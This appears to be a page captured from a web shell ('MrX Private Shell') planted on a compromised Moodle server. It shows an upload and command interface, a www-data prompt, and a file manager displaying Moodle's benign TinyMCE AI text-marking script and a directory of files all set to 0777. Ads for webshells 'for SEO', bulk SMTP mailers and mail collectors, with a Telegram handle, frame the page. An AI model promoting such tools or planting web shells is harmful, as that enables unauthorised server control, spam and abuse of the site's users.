__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
define("tiny_aiplacement/textmark",["exports"],(function(_exports){Object.defineProperty(_exports,"__esModule",{value:!0}),_exports.default=void 0;
/**
   * Tiny AI Mark Changed text.
   *
   * This module marks text that was returned by the AI service
   * and that has been changed by a human prior to being inserted.
   *
   * @module      tiny_aiplacement/textmark
   * @copyright   2023 Matt Porritt <matt.porritt@moodle.com>
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
class TinyAiTextMarker{static longestCommonSubsequence(a,b){const lengths=Array(a.length+1).fill(null).map((()=>Array(b.length+1).fill(0)));for(let i=0;i<a.length;i++)for(let j=0;j<b.length;j++)a[i]===b[j]?lengths[i+1][j+1]=lengths[i][j]+1:lengths[i+1][j+1]=Math.max(lengths[i+1][j],lengths[i][j+1]);let i=a.length,j=b.length,lcs="";for(;i>0&&j>0;)a[i-1]===b[j-1]?(lcs=a[i-1]+lcs,i--,j--):lengths[i-1][j]>lengths[i][j-1]?i--:j--;return lcs}static findDifferences(originalText,editedText){const lcs=TinyAiTextMarker.longestCommonSubsequence(originalText,editedText);let differences=[],i=0,j=0;for(let k=0;k<lcs.length;k++){let commonChar=lcs[k];for(;originalText[i]!==commonChar||editedText[j]!==commonChar;){let start=j;for(;editedText[j]!==commonChar;)j++;let editedSection=editedText.slice(start,j);for(differences.push({start:start,end:j,text:editedSection});originalText[i]!==commonChar;)i++}i++,j++}return j<editedText.length&&differences.push({start:j,end:editedText.length,text:editedText.slice(j)}),differences}static async wrapInSpan(editedSection){return new Promise(((resolve,reject)=>{try{resolve('<span class="user-edited">'.concat(editedSection,"</span>"))}catch(error){reject(error)}}))}static async wrapEditedSections(originalText,editedText){let differences=TinyAiTextMarker.findDifferences(originalText,editedText),wrappedText=editedText;for(let i=differences.length-1;i>=0;i--){let{start:start,end:end,text:text}=differences[i],wrappedSection=await TinyAiTextMarker.wrapInSpan(text);wrappedText=wrappedText.slice(0,start)+wrappedSection+wrappedText.slice(end)}return wrappedText}}return _exports.default=TinyAiTextMarker,_exports.default}));

//# sourceMappingURL=textmark.min.js.map

Filemanager

Name Type Size Permission Actions
commands.min.js File 3 KB 0777
commands.min.js.map File 6.75 KB 0777
common.min.js File 899 B 0777
common.min.js.map File 1.76 KB 0777
configuration.min.js File 1.3 KB 0777
configuration.min.js.map File 3.58 KB 0777
generatebase.min.js File 3.84 KB 0777
generatebase.min.js.map File 8.38 KB 0777
generateimage.min.js File 4.47 KB 0777
generateimage.min.js.map File 10.88 KB 0777
generatetext.min.js File 4.14 KB 0777
generatetext.min.js.map File 10.49 KB 0777
imagemodal.min.js File 686 B 0777
imagemodal.min.js.map File 1.28 KB 0777
loading.min.js File 1.06 KB 0777
loading.min.js.map File 2.71 KB 0777
mediaimage.min.js File 1.47 KB 0777
mediaimage.min.js.map File 3.36 KB 0777
options.min.js File 1.69 KB 0777
options.min.js.map File 3.85 KB 0777
plugin.min.js File 2.02 KB 0777
plugin.min.js.map File 2.72 KB 0777
textmark.min.js File 2.16 KB 0777
textmark.min.js.map File 6.78 KB 0777
textmodal.min.js File 1.17 KB 0777
textmodal.min.js.map File 2.69 KB 0777
Filemanager